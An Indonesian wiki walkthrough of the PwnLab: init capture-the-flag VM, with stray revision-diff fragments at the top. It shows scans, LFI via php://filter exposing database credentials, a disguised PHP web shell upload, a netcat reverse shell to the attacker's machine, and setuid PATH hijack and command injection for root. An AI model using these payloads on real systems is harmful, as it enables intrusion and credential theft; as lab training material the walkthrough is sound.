  (__  _) reading it                                                      (__  _)
−
lrwxrwxrwx  1 root root    9 Mar 17  2016 .mysql_history -> /dev/null 
+
  (__  _)                                                                (__  _)
−
-rw-r--r--  1 root root  140 Nov 19  2007 .profile 
+
  (__  _)                                            For sniferl4bs.com  (__  _)
−
bash-4.3# cat flag.txt 
+
  ( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
−
cat flag.txt
+
  (__  _)                                                                (__  _)
−
  .-=~=-.                                                                .-=~=-.
+
  (_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
−
  (__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
+
  `-._.-'                                                                `-._.-'
−
  (_ ___)  _____                            _                            (_ ___)
 
−
  (__  _) /  __ \                          | |                          (__  _)
 
−
  ( _ __) | /  \/ ___  _ __  __ _ _ __ __ _| |_ ___                      ( _ __)
 
−
  (__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                    (__  _)
 
−
  (_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                    (_ ___)
 
−
  (__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                    (__  _)
 
−
  ( _ __)                    __/ |                                      ( _ __)
 
−
  (__  _)                    |___/                                        (__  _)
 
−
  (__  _)                                                                (__  _)
 
−
  (_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
 
−
  ( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
 
−
  (__  _) this challenge.                                                (__  _)
 
−
  (_ ___)                                                                (_ ___)
 
−
  ( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
 
−
  (__  _) reading it                                                      (__  _)
 
−
  (__  _)                                                                (__  _)
 
−
  (__  _)                                            For sniferl4bs.com  (__  _)
 
−
  ( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
 
−
  (__  _)                                                                (__  _)
 
−
  (_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
 
−
  `-._.-'                                                                `-._.-'
 
  
−
bash-4.3#  
+
bash-4.3#
−
That was fun! Thanks for reading!
 
  
 
==Referensi==
 
==Referensi==
  
 
* https://www.abatchy.com/2016/11/pwnlab-init-walkthrough-vulnhub.html
 
* https://www.abatchy.com/2016/11/pwnlab-init-walkthrough-vulnhub.html

Latest revision as of 09:01, 24 January 2023

Objective / Goal

  • masuk ke sistem
  • dapat root

Download & Masukan ke VirtualBox

https://www.vulnhub.com/entry/pwnlab-init,158/#download
https://download.vulnhub.com/pwnlab/pwnlab_init.ova

Import pwnlab_init.ova ke VirtualBox

  • Load VirtualBox
  • Import


Kali Linux

Cek IP address VM

sudo su                             
netdiscover -r 192.168.0.0/24

Hasilnya kira-kira 

Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                       
                                                                                                                                                                                     
 29 Captured ARP Req/Rep packets, from 20 hosts.   Total size: 1740                                                                                                                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.0.2     40:16:7e:22:e7:69      1      60  ASUSTek COMPUTER INC.                                                                                                             
 192.168.0.4     10:6f:3f:3d:73:d0      1      60  BUFFALO.INC                                                                                                                       
 192.168.0.7     4c:e6:76:1f:15:4b      1      60  BUFFALO.INC                                                                                                                       
 192.168.0.9     10:6f:3f:17:94:94      1      60  BUFFALO.INC                                                                                                                       
 192.168.0.7     4c:e6:76:1f:15:4c      1      60  BUFFALO.INC                                                                                                                       
 192.168.0.60    74:d0:2b:6a:a9:66      1      60  ASUSTek COMPUTER INC.                                                                                                             
 192.168.0.101   08:60:6e:db:4e:b8      1      60  ASUSTek COMPUTER INC.                                                                                                             
 192.168.0.130   08:00:27:93:a2:1b      1      60  PCS Systemtechnik GmbH                                                                                                            
 192.168.0.141   b0:a7:b9:b6:c1:c9      2     120  TP-Link Corporation Limited                                                                                                       
 192.168.0.145   c0:56:27:1c:be:e1      1      60  Belkin International Inc.                                                                                                         
 192.168.0.169   4c:e6:76:1f:15:4b      1      60  BUFFALO.INC                                                                                                                       
 192.168.0.170   4c:e6:76:1f:15:4b      1      60  BUFFALO.INC                                                                                                                       
 192.168.0.169   4c:e6:76:1f:15:4c      4     240  BUFFALO.INC                                                                                                                       
 192.168.0.170   4c:e6:76:1f:15:4c      1      60  BUFFALO.INC                                                                                                                       
 192.168.0.199   b4:b0:24:3d:8b:3b      1      60  TP-Link Corporation Limited                                                                                                       
 192.168.0.102   6c:29:90:1e:89:7f      1      60  WiZ Connected Lighting Company Limited                                                                                            
 192.168.0.223   c0:56:27:67:0d:a3      1      60  Belkin International Inc.                                                                                                         
 192.168.0.222   6c:16:32:63:52:21      3     180  HUAWEI TECHNOLOGIES CO.,LTD                                                                                                       
 192.168.0.224   28:ff:3e:5c:10:32      4     240  zte corporation                                                                                                                   
 192.168.0.194   52:aa:ba:2c:0b:15      1      60  Unknown vendor

MAC address yang mencurigakan adalah 08:00:..... IP address target: 192.168.1.130.

Enumeration target

Gunakan nmap -v -A ke IP address sasaran, 

nmap -v -A 192.168.0.130

Hasilnya kira-kira, 

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-22 03:45 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 03:45
Completed NSE at 03:45, 0.00s elapsed
Initiating NSE at 03:45
Completed NSE at 03:45, 0.00s elapsed
Initiating NSE at 03:45
Completed NSE at 03:45, 0.00s elapsed
Initiating ARP Ping Scan at 03:45
Scanning 192.168.0.130 [1 port]
Completed ARP Ping Scan at 03:45, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:45
Completed Parallel DNS resolution of 1 host. at 03:45, 0.00s elapsed
Initiating SYN Stealth Scan at 03:45
Scanning 192.168.0.130 [1000 ports]
Discovered open port 111/tcp on 192.168.0.130
Discovered open port 3306/tcp on 192.168.0.130
Discovered open port 80/tcp on 192.168.0.130
Completed SYN Stealth Scan at 03:45, 0.11s elapsed (1000 total ports)
Initiating Service scan at 03:45
Scanning 3 services on 192.168.0.130
Completed Service scan at 03:45, 6.05s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.0.130
NSE: Script scanning 192.168.0.130.
Initiating NSE at 03:45
Completed NSE at 03:45, 0.19s elapsed
Initiating NSE at 03:45
Completed NSE at 03:45, 0.03s elapsed
Initiating NSE at 03:45
Completed NSE at 03:45, 0.00s elapsed
Nmap scan report for 192.168.0.130
Host is up (0.00057s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36677/udp6  status
|   100024  1          38362/tcp6  status
|   100024  1          47606/udp   status
|_  100024  1          48220/tcp   status
3306/tcp open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 38
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, 
SupportsLoadDataLocal, InteractiveClient, IgnoreSigpipes, LongPassword, 
ConnectWithDatabase, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, 
SupportsTransactions, FoundRows, SupportsCompression, LongColumnFlag, ODBCClient, 
SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: -G^"+S@(D]'IzNT:dlpn
|_  Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:93:A2:1B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 0.016 days (since Sun Jan 22 03:22:46 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.57 ms 192.168.0.130

NSE: Script Post-scanning.
Initiating NSE at 03:45
Completed NSE at 03:45, 0.00s elapsed
Initiating NSE at 03:45
Completed NSE at 03:45, 0.00s elapsed
Initiating NSE at 03:45
Completed NSE at 03:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.08 seconds
           Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.290KB)

Alternatif lain menggunakan onetwopunch.sh script yang bisa di ambil di 

https://github.com/superkojiman/onetwopunch/blob/master/onetwopunch.sh

Caranya, 

onetwopunch.sh -t targets -p all -n "-sV -O --version-intensity=9"

Dari hasil nmap, terlihat dengan jelas beberapa hal yang menarik dari sasaran,

  • Ada Web Server
  • Ada Database Server

Investigasi HTTP requests/responds

Untuk investigasi HTTP requests/responses 

Tools: Burp Suite, Fiddler, Tamper Data/Cookies Manager+ (FF addons)
Scan vulnerability (outdated version, LFI/RFI, SQLi, …)

Tools: Nikto, sqlmap, nmap scripts
Mencari hidden/misconfigured directori atau file

Tools: Dirbuster, GoBuster, Nikto

atau

Jalankan nikto, 

nikto -host 192.168.0.130

Hasilnya, 

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.130
+ Target Hostname:    192.168.0.130
+ Target Port:        80
+ Start Time:         2023-01-22 04:01:12 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1".
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Cookie PHPSESSID created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7915 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-01-22 04:02:08 (GMT-5) (56 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Disini yang menarik, kita menemukan,

  • config.php kemungkinan ada username/password untuk akses database.
  • login form, yang perlu di investigasi lebih lanjut, contoh
http://192.168.0.130/?page=login. Possibly vulnerable to LFI.

kemungkinan vulnerable untuk LFI (Local Inclusion File).

Bruteforcing MySQL

Percobaan untuk bruteforcing MySQL secara manual, 

mysql -h 192.168.0.130 -u root -p
Enter password: (kosong)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.0.62' (using password: NO)

mysql -h 192.168.0.130 -u root -p
Enter password: (root)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.0.62' (using password: YES)

Naga-naga-nya kita tidak bisa menembus secara manual.


Cek Web

Login Page

Login Page 

http://192.168.0.130/login.php

Coba menggunakan SQL Injection attack, 

sqlmap -u "http://192.168.0.130/?page=login" --data="user=abcd&pass=abcd&submit=Login" --level=5 --risk=3 --dbms=mysql

hasilnya .. 

.....
[04:51:46] [WARNING] parameter 'Host' does not seem to be injectable
[04:51:46] [CRITICAL] all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[04:51:46] [WARNING] your sqlmap version is outdated

[*] ending @ 04:51:46 /2023-01-22/

Usaha sql injection gagal, kita coba vulnerable to LFI.

LFI vulnerability

Local File Inclusion (LFI) vulnerability yang sering ditemukan dalam aplikasi web yang ditulis dengan buruk. Kerentanan ini terjadi ketika aplikasi web memungkinkan pengguna mengirimkan input ke dalam file atau mengunggah file ke server. Silahkan baca2 https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/

Contoh LFI code: 

<?php  
   if (isset($_GET['page']))  
   {  
      include($_GET['page'] . '.php');  
   }  
?>

Kita coba URL di bawah (gagal total), 

http://192.168.0.130/?page=/etc/passwd
http://192.168.0.130/?page=/etc/passwd
http://192.168.0.130/?page=../../../../../../../etc/passwd
http://192.168.0.130/?page=../../../../../../../etc/passwd

Gunakan PHP filter untuk meng-encode .php file content ke base64 string sehingga kita bisa mem-bypass server agak tidak meng-eksekusi file .php yang kita ambil. Tampaknya teknik ini berhasil, 

http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=config

Kita bisa dapat config.php: 

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Keren! kita dapat username password MySQL.

Mari kita lanjutkan analisa menggunakan PHP filter, 

http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=index

Kita dapat index.php: 

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>

<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>

< img src="images/pwnlab.png">< br />
[ < a href="/">Home</a> ][ < a href="?page=login">Login</a> ][ < a href="? page=upload">Upload</a> ]
< hr />< br />
<?php
    if (isset($_GET['page'])) 
       {
               include($_GET['page'].".php");
       }
       else
       {
               echo "Use this server to upload and share image files inside the intranet";
       }
?>

</body>
</html>



Lines 4-6: LFI vulnerability, jika kita set sebuah cookie dengan name _lang _ pointing ke sebuah file di file sistem, maka file tersebut akan di include. Kita bahkan tidak perlu pening menambahkan .php di belakangnya!
Lines 20-23: LFI vulnerability kita dapat source codenya terima kasih banyak.

http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=upload

Upload.php 

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
       <body>
               <form action= method='post' enctype='multipart/form-data'>
                       <input type='file' name='file' id='file' />
                       <input type='submit' name='submit' value='Upload'/>
               </form>
       </body>
</html>
<?php 
if(isset($_POST['submit'])) {
       if ($_FILES['file']['error'] <= 0) {
               $filename  = $_FILES['file']['name'];
               $filetype  = $_FILES['file']['type'];
               $uploaddir = 'upload/';
               $file_ext  = strrchr($filename, '.');
               $imageinfo = getimagesize($_FILES['file']['tmp_name']);
               $whitelist = array(".jpg",".jpeg",".gif",".png"); 

               if (!(in_array($file_ext, $whitelist))) {
                       die('Not allowed extension, please upload images only.');
               }

               if(strpos($filetype,'image') === false) {
                       die('Error 001');
               }

               if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                       die('Error 002');
               }

               if(substr_count($filetype, '/')>1){
                       die('Error 003');
               }

               $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

               if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                       echo "<img src=\"".$uploadfile."\">
";
               } else {
                       die('Error 4');
               }
        }
}
?>


Sampai titik ini kita mengexploit page yang kita lihat di atas. Tapi tampaknya banyak hal yang menarik di page tersebut. 

Lines 2-3: Ini yang tampaknya men-deny waktu kita akses.
Lines 16-49: Banyak kondisi untuk upload sebuah file:

Err 0: Whitelist untuk file dengan ending .jpg, ,jpeg, .gif dan .png
Err 1: File is not identified as an image
Err 2: HEX signature validation?
Err 3: File name contains ‘/’ to avoid LFI
Err 4: Failed to upload file

Akses MySQL

Selanjutnya kita akan melihat kemungkinan untuk upload backdoor. Kita perlu mengakses page ini. Mari kita coba akses database MySQL menggunakan username password yang kita temukan di config.php. 

mysql -h 192.168.0.130 -u root -p  
Enter password:  

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 21180
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.001 sec)



MySQL [(none)]>
MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Users]> 

MySQL [Users]>
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.001 sec)

MySQL [Users]> 

MySQL [Users]>
MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.001 sec)

MySQL [Users]>

Password tampaknya base64, jika kita decode misalnya via https://www.base64decode.org/, kita akan dapat, 

kent: JWzXuBJJNy
mike: SIfdsTEn6I
kane: iSv5Ym2GRo

Uploading backdoor

Menggunakan salah satu username password yang tersedia memungkinkan kita untuk mengakses halaman upload. Yang ingin kita lakukan sekarang adalah menemukan cara untuk mendapatkan shell.

Bagaimana dengan mengunggah GIF yang berisi kode PHP, dan memasukkannya ke dalam kerentanan LFI yang kami temukan sebelumnya (cookie lang)?


Buat fake PNG file berisi PHP code

Buat fake png file berisi PHP code, 

GIF89;  
<?php system($_GET["cmd"]) ?>


GIF89 digunakan untuk mem-bypass type check, informasi lebih lanjut bisa di baca2 di https://en.wikipedia.org/wiki/List_of_file_signatures .

Lakukan,

  • Login ke pwnlab menggunakan
kent: JWzXuBJJNy
mike: SIfdsTEn6I
kane: iSv5Ym2GRo

File PNG biasanya di simpan dalam md5 hash. Ini bisa dilihat menggunakan CRTL-U dari browser, terlihat md5 hash dari file png yang kita gunakan, 

../upload/d1a17e1e32f2bfa1b90a6754cadd1df8.png

Set lang cookie agar memasukan image yang kita upload

Jika menggunakan chrome, bisa masuk ke Developer Tools (Ctrl-Shift-J atau Tools -> Developer Tools) -> Console dan masukan javascript command: 

document.cookie="keyofcookie=valueofcookie"

Kita dapat mengganti / menambahkan new cookie menggunakan teknik ini. Kita juga dapat memasukan multiple cooke seperti, 

document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";

Dari browser CTRL-SHIFT-J masukan cookies, 

document.cookie="lang=../upload/d1a17e1e32f2bfa1b90a6754cadd1df8.png";

Start netcat listener di Kali

Start 4444 listener 

nc -nvlp 4444

Browse untuk connect ke port

  • cek IP address kali linux dengan perintah "ifconfig eth0", misalnya hasilnya 192.168.0.62
  • Browse ke URL (perhatikan spasi)
http://192.168.0.130/?cmd=nc -nv 192.168.0.62 4444 -e /bin/bash

Di kali linux CLI akan ada kata2, 

# nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [192.168.0.62] from (UNKNOWN) [192.168.0.130] 60676
whoami  
www-data  
python -c 'import pty; pty.spawn("/bin/bash");'  
www-data@pwnlab:/var/www/html$

Privilege Escalation

coba user kent

Dari shell, Lakukan su ke user kent 

cd /home
ls
www-data@pwnlab:/home$ 

ww-data@pwnlab:/home$ ls -al
ls -al
total 24
drwxr-xr-x  6 root root 4096 Mar 17  2016 .
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
drwxr-x---  2 john john 4096 Mar 17  2016 john
drwxr-x---  2 kane kane 4096 Mar 17  2016 kane
drwxr-x---  2 kent kent 4096 Mar 17  2016 kent
drwxr-x---  2 mike mike 4096 Mar 17  2016 mike
www-data@pwnlab:/home$

Lalukan su ke user kent 

www-data@pwnlab:/home$ su kent
su kent
Password: JWzXuBJJNy

kent@pwnlab:/home$ cd kent
cd kent
kent@pwnlab:~$ ls -al
ls -al
total 20
drwxr-x--- 2 kent kent 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 kent kent  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kent kent 3515 Mar 17  2016 .bashrc
-rw-r--r-- 1 kent kent  675 Mar 17  2016 .profile
kent@pwnlab:~$ 



kent@pwnlab:~$ find / -user kent 2>/dev/null  
find / -user kent 2>/dev/null  
.........
/home/kent  
/home/kent/.bashrc  
/home/kent/.profile  
/home/kent/.bash_logout

coba sudo -l 

kent@pwnlab:~$ sudo -l  
sudo -l  
bash: sudo: command not found

kent tidak bisa sudo :( .. 

exit


coba user kane

cd /home
www-data@pwnlab:/home$ su kane
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/home$ cd kane

kane@pwnlab:~$ ls -al
ls -al
total 28
drwxr-x--- 2 kane kane 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile



kane@pwnlab:~$ file msgmike     
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
kane@pwnlab:~$ 

kane@pwnlab:~$ strings msgmike  
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
....
....
__TMC_END__
_ITM_registerTMCloneTable
_init
kane@pwnlab:~$

Hmmmm kayanya msgmike berusaha coding menggunakan 

int main()  
{  
      system("cat /home/mike/msg.txt");  
}

Kalau kita menggunakan cat di directory tertentu & override PATH, kita mungkin bisa dapat shell dari mike! Contoh shell scripting bisa di baca2 di root-me.org. Lakukan script di bawah ini, 

kane@pwnlab:~$ echo "/bin/bash" > cat
echo "/bin/bash" > cat
kane@pwnlab:~$ chmod 777 cat
chmod 777 cat
kane@pwnlab:~$ export PATH=/home/kane
export PATH=/home/kane
kane@pwnlab:~$ ./msgmike
./msgmike
bash: dircolors: command not found
bash: ls: command not found
mike@pwnlab:~$

Jadi mike & jadi root:) ...

Reset PATH variabel terlebih dulu, 

mike@pwnlab:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
</usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin                
mike@pwnlab:~$ cd ../mike 
cd ../mike 
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: percobaan
percobaan
percobaan
mike@pwnlab:/home/mike$

ini bagian yang keren:) .. 

mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
.....
.....
Message for root: 
/bin/echo %s >> /root/messages.txt
.....
.....
_ITM_registerTMCloneTable
_init
mike@pwnlab:/home/mike$


Hmm… msg2root tampaknya merupakan coding kira-kira: 

#include <iostream>  
  
char msg[1024];  //Let's assume no BO takes place, alrighty?  
char command[1024];   
  
int main()  
{  
 printf("Message for root: ");  
 scanf("%s", msg);  
 snprintf(command, sizeof(command), "/bin/echo %s >> /root/messages.txt", msg);  
 system(command);  
}

Mari ujicoba masuk ke root, 

mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: opensesame; bash -p
opensesame; bash -p
opensesame
bash-4.3# whoami
whoami
root
bash-4.3# ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile

bash-4.3# cd /root
cd /root
bash-4.3# ls -al
ls -al
total 20
drwx------  2 root root 4096 Mar 17  2016 .
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
lrwxrwxrwx  1 root root    9 Mar 17  2016 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
----------  1 root root 1840 Mar 17  2016 flag.txt
lrwxrwxrwx  1 root root    9 Mar 17  2016 messages.txt -> /dev/null
lrwxrwxrwx  1 root root    9 Mar 17  2016 .mysql_history -> /dev/null
-rw-r--r--  1 root root  140 Nov 19  2007 .profile

bash-4.3# cat /root/flag.txt    
cat /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

bash-4.3#

Referensi

Retrieved from "https://onnocenter.or.id/wiki/index.php?title=CTF_PwnLab:_init:_Walkthrough&oldid=67735"